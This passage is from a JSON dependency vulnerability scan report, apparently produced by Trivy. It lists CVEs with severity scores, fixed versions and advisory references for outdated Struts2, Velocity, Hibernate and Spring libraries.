            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "struts2: xsltResult local code execution flaw",
          "Description": "A local code execution issue exists in Apache Struts2 when processing malformed XSLT files, which could let a malicious user upload and execute arbitrary files.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-434"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 6.5,
              "V3Score": 8.8
            },
            "redhat": {
              "V2Vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
              "V2Score": 6.8
            }
          },
          "References": [
            "http://www.openwall.com/lists/oss-security/2012/03/28/12",
            "https://access.redhat.com/security/cve/CVE-2012-1592",
            "https://access.redhat.com/security/cve/cve-2012-1592",
            "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-1592",
            "https://github.com/apache/struts",
            "https://github.com/apache/struts/blob/master/core/src/main/resources/struts-default.xml#L39-L76",
            "https://issues.apache.org/jira/browse/WW-5055",
            "https://lists.apache.org/thread.html/r348ed455a140273c40b974f0615dee692f7c9b26c6de2118b4280ef2%40%3Cissues.struts.apache.org%3E",
            "https://lists.apache.org/thread.html/r348ed455a140273c40b974f0615dee692f7c9b26c6de2118b4280ef2@%3Cissues.struts.apache.org%3E",
            "https://lists.apache.org/thread.html/r593ebb2f4c95b064e6901fd273eff256c493db952bdb484395948ffc%40%3Cissues.struts.apache.org%3E",
            "https://lists.apache.org/thread.html/r593ebb2f4c95b064e6901fd273eff256c493db952bdb484395948ffc@%3Cissues.struts.apache.org%3E",
            "https://lists.apache.org/thread.html/r93c4e3f6cb138cd117c739714f07e47af547183ba099ba46be2b2a5b%40%3Cissues.struts.apache.org%3E",
            "https://lists.apache.org/thread.html/r93c4e3f6cb138cd117c739714f07e47af547183ba099ba46be2b2a5b@%3Cissues.struts.apache.org%3E",
            "https://nvd.nist.gov/vuln/detail/CVE-2012-1592",
            "https://seclists.org/bugtraq/2012/Mar/110",
            "https://security-tracker.debian.org/tracker/CVE-2012-1592",
            "https://struts.apache.org/security/#internal-security-mechanism",
            "https://www.cve.org/CVERecord?id=CVE-2012-1592",
            "https://www.openwall.com/lists/oss-security/2012/03/28/12"
          ],
          "PublishedDate": "2019-12-05T21:15:00Z",
          "LastModifiedDate": "2023-02-13T00:24:00Z"
        },
        {
          "VulnerabilityID": "CVE-2017-9787",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.3.33, 2.5.12",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2017-9787",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "struts: Denial of service when using a Spring AOP functionality",
          "Description": "When using a Spring AOP functionality to secure Struts actions it is possible to perform a DoS attack. Solution is to upgrade to Apache Struts version 2.5.12 or 2.3.33.",
          "Severity": "HIGH",
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V2Score": 5,
              "V3Score": 7.5
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
              "V3Score": 3.1
            }
          },
          "References": [
            "http://struts.apache.org/docs/s2-049.html",
            "http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html",
            "http://www.securityfocus.com/bid/99562",
            "http://www.securitytracker.com/id/1039115",
            "https://access.redhat.com/security/cve/CVE-2017-9787",
            "https://github.com/advisories/GHSA-8mr5-h28g-36qx",
            "https://lists.apache.org/thread.html/3795c4dd46d9ec75f4a6eb9eca11c11edd3e796c6c1fd7b17b5dc50d%40%3Cannouncements.struts.apache.org%3E",
            "https://lists.apache.org/thread.html/3795c4dd46d9ec75f4a6eb9eca11c11edd3e796c6c1fd7b17b5dc50d@%3Cannouncements.struts.apache.org%3E",
            "https://lists.apache.org/thread.html/de3d325f0433cd3b42258b6a302c0d7a72b69eedc1480ed561d3b065%40%3Cannouncements.struts.apache.org%3E",
            "https://lists.apache.org/thread.html/de3d325f0433cd3b42258b6a302c0d7a72b69eedc1480ed561d3b065@%3Cannouncements.struts.apache.org%3E",
            "https://nvd.nist.gov/vuln/detail/CVE-2017-9787",
            "https://security.netapp.com/advisory/ntap-20180706-0002/",
            "https://www.cve.org/CVERecord?id=CVE-2017-9787"
          ],
          "PublishedDate": "2017-07-13T15:29:00Z",
          "LastModifiedDate": "2023-11-07T02:50:00Z"
        },
        {
          "VulnerabilityID": "CVE-2017-9804",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.3.34, 2.5.13",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2017-9804",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "struts: A regular expression Denial of Service when using URLValidator",
          "Description": "In Apache Struts 2.3.7 through 2.3.33 and 2.5 through 2.5.12, if an application allows entering a URL in a form field and built-in URLValidator is used, it is possible to prepare a special URL which will be used to overload server process when performing validation of the URL.  NOTE: this vulnerability exists because of an incomplete fix for S2-047 / CVE-2017-7672.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-20"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V2Score": 5,
              "V3Score": 7.5
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
              "V3Score": 3.7
            }
          },
          "References": [
            "http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-003.txt",
            "http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html",
            "http://www.securityfocus.com/bid/100612",
            "http://www.securitytracker.com/id/1039261",
            "https://access.redhat.com/security/cve/CVE-2017-9804",
            "https://github.com/advisories/GHSA-x5x7-3v85-wpc4",
            "https://nvd.nist.gov/vuln/detail/CVE-2017-9804",
            "https://security.netapp.com/advisory/ntap-20180629-0001/",
            "https://struts.apache.org/docs/s2-050.html",
            "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170907-struts2",
            "https://www.cve.org/CVERecord?id=CVE-2017-9804"
          ],
          "PublishedDate": "2017-09-20T17:29:00Z",
          "LastModifiedDate": "2019-10-03T00:03:00Z"
        },
        {
          "VulnerabilityID": "CVE-2018-11776",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.3.35, 2.5.17",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2018-11776",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "struts2: Using specific results and namespaces can result in a remote code execution",
          "Description": "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn't have value and action set and in same time, its upper package have no or wildcard namespace.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-20"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.1
            },
            "nvd": {
              "V2Vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 9.3,
              "V3Score": 8.1
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            }
          },
          "References": [
            "http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html",
            "http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2018-005.txt",
            "http://www.oracle.com/technetwork/security-advisory/alert-cve-2018-11776-5072787.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html",
            "http://www.securityfocus.com/bid/105125",
            "http://www.securitytracker.com/id/1041547",
            "http://www.securitytracker.com/id/1041888",
            "https://access.redhat.com/security/cve/CVE-2018-11776",
            "https://cwiki.apache.org/confluence/display/WW/S2-057",
            "https://github.com/advisories/GHSA-cr6j-3jp9-rw65",
            "https://github.com/apache/struts",
            "https://github.com/hook-s3c/CVE-2018-11776-Python-PoC",
            "https://lgtm.com/blog/apache_struts_CVE-2018-11776",
            "https://lists.apache.org/thread.html/r6d03e45b81eab03580cf7f8bb51cb3e9a1b10a2cc0c6a2d3cc92ed0c%40%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/r6d03e45b81eab03580cf7f8bb51cb3e9a1b10a2cc0c6a2d3cc92ed0c@%3Cannounce.apache.org%3E",
            "https://nvd.nist.gov/vuln/detail/CVE-2018-11776",
            "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2018-0012",
            "https://security.netapp.com/advisory/ntap-20180822-0001/",
            "https://security.netapp.com/advisory/ntap-20181018-0002/",
            "https://www.cve.org/CVERecord?id=CVE-2018-11776",
            "https://www.exploit-db.com/exploits/45260/",
            "https://www.exploit-db.com/exploits/45262/",
            "https://www.exploit-db.com/exploits/45367/",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html"
          ],
          "PublishedDate": "2018-08-22T13:29:00Z",
          "LastModifiedDate": "2023-11-07T02:51:00Z"
        },
        {
          "VulnerabilityID": "CVE-2019-0233",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.5.22",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2019-0233",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "struts2: access permission override when performing a file upload leads to DoS",
          "Description": "An access permission override in Apache Struts 2.0.0 to 2.5.20 may cause a Denial of Service when performing a file upload.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-281"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V2Score": 5,
              "V3Score": 7.5
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            }
          },
          "References": [
            "https://access.redhat.com/security/cve/CVE-2019-0233",
            "https://cwiki.apache.org/confluence/display/ww/s2-060",
            "https://launchpad.support.sap.com/#/notes/2982840",
            "https://nvd.nist.gov/vuln/detail/CVE-2019-0233",
            "https://www.cve.org/CVERecord?id=CVE-2019-0233",
            "https://www.oracle.com/security-alerts/cpuApr2021.html",
            "https://www.oracle.com/security-alerts/cpujan2021.html",
            "https://www.oracle.com/security-alerts/cpuoct2021.html"
          ],
          "PublishedDate": "2020-09-14T17:15:00Z",
          "LastModifiedDate": "2022-04-18T15:23:00Z"
        },
        {
          "VulnerabilityID": "CVE-2023-34396",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.5.31, 6.1.2.1",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-34396",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Apache Struts vulnerable to memory exhaustion",
          "Description": "Allocation of Resources Without Limits or Throttling vulnerability in Apache Software Foundation Apache Struts.This issue affects Apache Struts: through 2.5.30, through 6.1.2.\n\nUpgrade to Struts 2.5.31 or 6.1.2.1 or greater\n\n\n",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-770"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            },
            "nvd": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            }
          },
          "References": [
            "http://www.openwall.com/lists/oss-security/2023/06/14/3",
            "https://cwiki.apache.org/confluence/display/WW/S2-064",
            "https://github.com/apache/struts",
            "https://github.com/apache/struts/commit/2d6f1bc0a6f5ac575a56784ac6461816b67c4f21",
            "https://github.com/apache/struts/releases/tag/STRUTS_2_5_31",
            "https://github.com/apache/struts/releases/tag/STRUTS_6_1_2_1",
            "https://nvd.nist.gov/vuln/detail/CVE-2023-34396",
            "https://security.netapp.com/advisory/ntap-20230706-0005/"
          ],
          "PublishedDate": "2023-06-14T08:15:00Z",
          "LastModifiedDate": "2023-07-06T19:15:00Z"
        },
        {
          "VulnerabilityID": "CVE-2020-13936",
          "PkgID": "org.apache.velocity:velocity:1.6.2",
          "PkgName": "org.apache.velocity:velocity",
          "InstalledVersion": "1.6.2",
          "Status": "affected",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2020-13936",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "arbitrary code execution when attacker is able to modify templates",
          "Description": "An attacker that is able to modify Velocity templates may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running the Servlet container. This applies to applications that allow untrusted users to upload/modify velocity templates running Apache Velocity Engine versions up to 2.2.",
          "Severity": "HIGH",
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 9,
              "V3Score": 8.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.8
            }
          },
          "References": [
            "http://www.openwall.com/lists/oss-security/2021/03/10/1",
            "https://access.redhat.com/security/cve/CVE-2020-13936",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13936",
            "https://github.com/apache/velocity-engine",
            "https://lists.apache.org/thread.html/r01043f584cbd47959fabe18fff64de940f81a65024bb8dddbda31d9a%40%3Cuser.velocity.apache.org%3E",
            "https://lists.apache.org/thread.html/r01043f584cbd47959fabe18fff64de940f81a65024bb8dddbda31d9a@%3Cuser.velocity.apache.org%3E",
            "https://lists.apache.org/thread.html/r0bc98e9cd080b4a13b905c571b9bed87e1a0878d44dbf21487c6cca4%40%3Cdev.santuario.apache.org%3E",
            "https://lists.apache.org/thread.html/r0bc98e9cd080b4a13b905c571b9bed87e1a0878d44dbf21487c6cca4@%3Cdev.santuario.apache.org%3E",
            "https://lists.apache.org/thread.html/r17cb932fab14801b14e5b97a7f05192f4f366ef260c10d4a8dba8ac9%40%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/r17cb932fab14801b14e5b97a7f05192f4f366ef260c10d4a8dba8ac9@%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/r293284c6806c73f51098001ea86a14271c39f72cd76af9e946d9d9ad%40%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/r293284c6806c73f51098001ea86a14271c39f72cd76af9e946d9d9ad@%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/r39de20c7e9c808b1f96790875d33e58c9c0aabb44fd9227e7b3dc5da%40%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/r39de20c7e9c808b1f96790875d33e58c9c0aabb44fd9227e7b3dc5da@%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/r3ea4c4c908505b20a4c268330dfe7188b90c84dcf777728d02068ae6%40%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/r3ea4c4c908505b20a4c268330dfe7188b90c84dcf777728d02068ae6@%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/r4cd59453b65d4ac290fcb3b71fdf32b4f1f8989025e89558deb5a245%40%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/r4cd59453b65d4ac290fcb3b71fdf32b4f1f8989025e89558deb5a245@%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/r52a5129df402352adc34d052bab9234c8ef63596306506a89fdc7328%40%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r52a5129df402352adc34d052bab9234c8ef63596306506a89fdc7328@%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r7f209b837217d2a0fe5977fb692e7f15d37fa5de8214bcdc4c21d9a7%40%3Ccommits.turbine.apache.org%3E",
            "https://lists.apache.org/thread.html/r7f209b837217d2a0fe5977fb692e7f15d37fa5de8214bcdc4c21d9a7@%3Ccommits.turbine.apache.org%3E",
            "https://lists.apache.org/thread.html/r9dc2505651788ac668299774d9e7af4dc616be2f56fdc684d1170882%40%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r9dc2505651788ac668299774d9e7af4dc616be2f56fdc684d1170882@%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rb042f3b0090e419cc9f5a3d32cf0baff283ccd6fcb1caea61915d6b6%40%3Ccommits.velocity.apache.org%3E",
            "https://lists.apache.org/thread.html/rb042f3b0090e419cc9f5a3d32cf0baff283ccd6fcb1caea61915d6b6@%3Ccommits.velocity.apache.org%3E",
            "https://lists.apache.org/thread.html/rbee7270556f4172322936b5ecc9fabf0c09f00d4fa56c9de1963c340%40%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/rbee7270556f4172322936b5ecc9fabf0c09f00d4fa56c9de1963c340@%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/rd2a89e17e8a9b451ce655f1a34117752ea1d18a22ce580d8baa824fd%40%3Ccommits.druid.apache.org%3E",
            "https://lists.apache.org/thread.html/rd2a89e17e8a9b451ce655f1a34117752ea1d18a22ce580d8baa824fd@%3Ccommits.druid.apache.org%3E",
            "https://lists.apache.org/thread.html/rd7e865c87f9043c21d9c1fd9d4df866061d9a08cfc322771160d8058%40%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/rd7e865c87f9043c21d9c1fd9d4df866061d9a08cfc322771160d8058@%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/re641197d204765130618086238c73dd2ce5a3f94b33785b587d72726%40%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/re641197d204765130618086238c73dd2ce5a3f94b33785b587d72726@%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/re8e7482fe54d289fc0229e61cc64947b63b12c3c312e9f25bf6f3b8c%40%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/re8e7482fe54d289fc0229e61cc64947b63b12c3c312e9f25bf6f3b8c@%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/reab5978b54a9f4c078402161e30a89c42807b198814acadbe6c862c7%40%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/reab5978b54a9f4c078402161e30a89c42807b198814acadbe6c862c7@%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/rf7d369de88dc88a1347006a3323b3746d849234db40a8edfd5ebc436%40%3Cdev.ws.apache.org%3E",
            "https://lists.apache.org/thread.html/rf7d369de88dc88a1347006a3323b3746d849234db40a8edfd5ebc436@%3Cdev.ws.apache.org%3E",
            "https://lists.debian.org/debian-lts-announce/2021/03/msg00019.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2020-13936",
            "https://security.gentoo.org/glsa/202107-52",
            "https://ubuntu.com/security/notices/USN-6281-1",
            "https://www.cve.org/CVERecord?id=CVE-2020-13936",
            "https://www.openwall.com/lists/oss-security/2021/03/10/1",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujan2022.html"
          ],
          "PublishedDate": "2021-03-10T08:15:00Z",
          "LastModifiedDate": "2023-11-07T03:17:00Z"
        },
        {
          "VulnerabilityID": "CVE-2020-25638",
          "PkgID": "org.hibernate:hibernate-core:3.3.1.GA",
          "PkgName": "org.hibernate:hibernate-core",
          "InstalledVersion": "3.3.1.GA",
          "FixedVersion": "5.4.24.Final, 5.3.20.Final",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2020-25638",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "SQL injection vulnerability when both hibernate.use_sql_comments and JPQL String literals are used",
          "Description": "A flaw was found in hibernate-core in versions prior to and including 5.4.23.Final. A SQL injection in the implementation of the JPA Criteria API can permit unsanitized literals when a literal is used in the SQL comments of the query. This flaw could allow an attacker to access unauthorized information or possibly conduct further attacks. The highest threat from this vulnerability is to data confidentiality and integrity.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-89"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
              "V3Score": 7.4
            },
            "nvd": {
              "V2Vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N",
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
              "V2Score": 5.8,
              "V3Score": 7.4
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
              "V3Score": 7.4
            }
          },
          "References": [
            "https://access.redhat.com/security/cve/CVE-2020-25638",
            "https://bugzilla.redhat.com/show_bug.cgi?id=1881353",
            "https://lists.apache.org/thread.html/r833c1276e41334fa675848a08daf0c61f39009f9f9a400d9f7006d44%40%3Cdev.turbine.apache.org%3E",
            "https://lists.apache.org/thread.html/r833c1276e41334fa675848a08daf0c61f39009f9f9a400d9f7006d44@%3Cdev.turbine.apache.org%3E",
            "https://lists.apache.org/thread.html/rf2378209c676a28b71f9b604a3b3517c448540b85367160e558ef9df%40%3Ccommits.turbine.apache.org%3E",
            "https://lists.apache.org/thread.html/rf2378209c676a28b71f9b604a3b3517c448540b85367160e558ef9df@%3Ccommits.turbine.apache.org%3E",
            "https://lists.debian.org/debian-lts-announce/2021/01/msg00000.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2020-25638",
            "https://www.cve.org/CVERecord?id=CVE-2020-25638",
            "https://www.debian.org/security/2021/dsa-4908",
            "https://www.oracle.com//security-alerts/cpujul2021.html",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html"
          ],
          "PublishedDate": "2020-12-02T15:15:00Z",
          "LastModifiedDate": "2023-11-07T03:20:00Z"
        },
        {
          "VulnerabilityID": "CVE-2022-22965",
          "PkgID": "org.springframework:spring-beans:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-beans",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "5.2.20.RELEASE, 5.3.18",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2022-22965",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "RCE via Data Binding on JDK 9+",
          "Description": "A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-94"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.1
            }
          },
          "References": [
            "http://packetstormsecurity.com/files/166713/Spring4Shell-Code-Execution.html",
            "http://packetstormsecurity.com/files/167011/Spring4Shell-Spring-Framework-Class-Property-Remote-Code-Execution.html",
            "https://access.redhat.com/security/cve/CVE-2022-22965",
            "https://cert-portal.siemens.com/productcert/pdf/ssa-254054.pdf",
            "https://github.com/spring-projects/spring-boot/releases/tag/v2.5.12",
            "https://github.com/spring-projects/spring-boot/releases/tag/v2.6.6",
            "https://github.com/spring-projects/spring-framework",
            "https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15",
            "https://github.com/spring-projects/spring-framework/releases/tag/v5.2.20.RELEASE",
            "https://github.com/spring-projects/spring-framework/releases/tag/v5.3.18",
            "https://nvd.nist.gov/vuln/detail/CVE-2022-22965",
            "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0005",
            "https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement",
            "https://tanzu.vmware.com/security/cve-2022-22965",
            "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-rce-Zx9GUc67",
            "https://www.cve.org/CVERecord?id=CVE-2022-22965",
            "https://www.cyberkendra.com/2022/03/spring4shell-details-and-exploit-code.html",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html",
            "https://www.praetorian.com/blog/spring-core-jdk9-rce/"
          ],
          "PublishedDate": "2022-04-01T23:15:00Z",
          "LastModifiedDate": "2023-02-09T02:07:00Z"
        },
        {
          "VulnerabilityID": "CVE-2018-1270",
          "PkgID": "org.springframework:spring-core:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-core",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "5.0.5, 4.3.16",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2018-1270",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "spring-framework: Possible RCE via spring messaging",
          "Description": "Spring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported versions, allow applications to expose STOMP over WebSocket endpoints with a simple, in-memory STOMP broker through the spring-messaging module. A malicious user (or attacker) can craft a message to the broker that can lead to a remote code execution attack.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-94"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
